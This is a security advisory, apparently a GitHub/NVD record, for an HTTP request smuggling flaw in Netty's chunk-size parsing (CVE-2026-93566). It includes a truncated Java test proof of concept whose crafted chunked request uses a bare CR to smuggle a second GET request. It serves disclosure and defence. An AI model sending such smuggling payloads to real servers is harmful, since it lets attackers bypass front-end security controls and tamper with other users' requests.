GHSA-9MRJ-55P4-QWF4
Vulnerability from github – Published: 2026-09-18 15:32 – Updated: 2026-09-22 21:31Summary
Netty skips strict chunk size line validation when the line has no chunk extension (;), so a chunk size line containing an embedded bare CR (e.g. 0\rX) is accepted instead of rejected, enabling HTTP request smuggling.
Details
io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions only runs the strict validator HttpChunkLineValidatingByteProcessor when a ; is present:
int extensionsStart = line.bytesBefore((byte) ';');
if (extensionsStart == -1) {
return;
}
According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A
chunk-size = 1*HEXDIG
PoC
```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
{
"affected": [],
"aliases": [
"CVE-2026-93566"
],
"database_specific": {
"cwe_ids": [],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-18T15:17:20Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\\rX`) is accepted instead of rejected, enabling HTTP request smuggling.\n\n### Details\n`io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:\n\n```java\n int extensionsStart = line.bytesBefore((byte) \u0027;\u0027);\n if (extensionsStart == -1) {\n return;\n }\n```\n\nAccording to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A\n\n`chunk-size = 1*HEXDIG`\n\n### PoC\n\n```java\n@Test\npublic void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n \"0\\rX\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch",
"id": "GHSA-9mrj-55p4-qwf4",
"modified": "2026-09-22T21:31:02Z",
"published": "2026-09-18T15:32:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93566"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:69440"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:69470"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-93566"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2536954"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
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